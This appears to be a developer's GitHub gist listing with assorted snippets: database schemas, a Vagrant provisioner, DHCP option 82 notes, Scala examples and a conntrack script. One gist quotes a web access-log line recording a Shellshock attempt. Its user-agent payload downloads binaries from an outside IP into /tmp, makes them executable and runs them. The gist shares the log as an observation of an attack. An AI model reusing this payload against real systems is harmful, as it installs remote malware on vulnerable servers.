Skip to content

Instantly share code, notes, and snippets.

View alexanderfefelov's full-sized avatar
💭
Bluetooth Ninja

Alexander Fefelov alexanderfefelov

💭
Bluetooth Ninja
View GitHub Profile
@alexanderfefelov
alexanderfefelov / PLAY_EVOLUTIONS
Created February 1, 2014 22:41
Play 2.2.1 Scala
CREATE TABLE PUBLIC.PLAY_EVOLUTIONS (
ID INTEGER NOT NULL,
HASH VARCHAR(255) NOT NULL,
APPLIED_AT TIMESTAMP NOT NULL,
APPLY_SCRIPT CLOB,
REVERT_SCRIPT CLOB,
STATE VARCHAR(255),
LAST_PROBLEM CLOB,
CONSTRAINT CONSTRAINT_9 PRIMARY KEY (ID)
);
@alexanderfefelov
alexanderfefelov / DATABASECHANGELOG
Created February 1, 2014 22:44
Liquibase 3.1.1
CREATE TABLE PUBLIC.DATABASECHANGELOG (
ID VARCHAR(255) NOT NULL,
AUTHOR VARCHAR(255) NOT NULL,
FILENAME VARCHAR(255) NOT NULL,
DATEEXECUTED TIMESTAMP NOT NULL,
ORDEREXECUTED INTEGER NOT NULL,
EXECTYPE VARCHAR(10) NOT NULL,
MD5SUM VARCHAR(35),
DESCRIPTION VARCHAR(255),
COMMENTS VARCHAR(255),
@alexanderfefelov
alexanderfefelov / provision.sh
Last active August 29, 2015 14:02
Vagrant shell provisioner: Oracle JDK 8u5, Play Framework 2.2.3, Typesafe Activator 1.2.2, Scala 2.11.1
#=======================================================================================================================
# Vagrant shell provisioner
# Oracle JDK 8u5, Play Framework 2.2.3, Typesafe Activator 1.2.2, Scala 2.11.1
#=======================================================================================================================
#-----------------------------------------------------------------------------------------------------------------------
# Nice stuff
#-----------------------------------------------------------------------------------------------------------------------
apt-get -qq update
@alexanderfefelov
alexanderfefelov / option82.md
Last active October 8, 2015 09:23
DHCP Relay Agent Information (Option 82) Requests

Cisco Catalyst 2960 WS-C2960-24TC-L IOS 12.2(55)SE5

/192.168.78.5:67: DHCPDISCOVER from 1/00:26:b9:08:77:b5
    Relay agent IP address: /192.168.78.5
    Relay agent information:
        1 -> 000403e40118
        2 -> 0006001aa1d39100

D-Link DES-1210-08P H/W B1 F/W 3.12.B017

@alexanderfefelov
alexanderfefelov / gist:df3c562ea2e42438c940
Created August 29, 2014 06:41
How to configure a Cisco Catalyst switch to act as a DHCP relay agent with option 82
  +-------------+
  |             |
  | DHCP server |
  |             |
  +-------------+
          | 192.168.1.34
          |
          |
   VLAN 1 | 192.168.1.12

+------[1]----+

@alexanderfefelov
alexanderfefelov / ICU42.scala
Created March 1, 2015 05:56
42 на всех (почти на всех) языках
import java.text.DateFormat
import com.ibm.icu.text.RuleBasedNumberFormat
object ICU42 extends App {
val locales = DateFormat.getAvailableLocales.toList
locales.filter(_.toString.length > 0).sortBy(_.toString).map( locale =>
System.out.println(s"$locale ${new RuleBasedNumberFormat(locale, RuleBasedNumberFormat.SPELLOUT).format(42)}")
)
}
@alexanderfefelov
alexanderfefelov / x.sh
Created March 5, 2015 06:30
Сбор web-страниц с IP-адресов, упомянутых в файле. Используется Web-Harvest (http://web-harvest.sourceforge.net)
#!/bin/bash
mkdir -p ips
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' file.txt > ips/all
sort ips/all | uniq > ips/uniq
awk '$0="<![CDATA[<ip>]]>"$0"<![CDATA[</ip>]]>"' ips/uniq > ips/cdata.inc
INC=$(cat ips/cdata.inc)
cat <<EOF > web-harvest.xml
@alexanderfefelov
alexanderfefelov / TerryPratchett.scala
Created March 17, 2015 06:09
"GNU Terry Pratchett" Filter for Play Framework (Scala)
object TerryPratchett extends EssentialFilter {
def apply(nextFilter: EssentialAction) = new EssentialAction {
def apply(requestHeader: RequestHeader) = {
nextFilter(requestHeader).map { result =>
// https://www.reddit.com/r/discworld/comments/2yt9j6/gnu_terry_pratchett
result.withHeaders("X-Clacks-Overhead" -> "GNU Terry Pratchett")
}
}
}
@alexanderfefelov
alexanderfefelov / access.2015-03-05
Created March 24, 2015 02:59
Someone is trying to use Shellshock
2015-03-05 14:40:18,395 access [INFO] request-id=4111 remote-address=195.238.181.22 user-agent=() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://212.56.214.209/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://212.56.214.209/mysqld;chmod 777 /tmp/mysqld;/tmp/mysqld;wget http://212.56.214.209/mysqld_64 -O /tmp/mysqld_64;curl -O /tmp/mysqld_64 http://212.56.214.209/mysqld_64;chmod 777 /tmp/mysqld_64;/tmp/mysqld_64;");' uri=/cgi-sys/entropysearch.cgi method=GET time=0ms status=404
@alexanderfefelov
alexanderfefelov / conntrack-stats.py
Created December 17, 2015 14:37
Prints conntrack stats for protocols and connection states
#!/usr/bin/env python
protocols = dict()
connection_states = dict()
import subprocess
output = subprocess.check_output('conntrack -L', shell = True)
for row in output.split('\n'):
elements = row.split()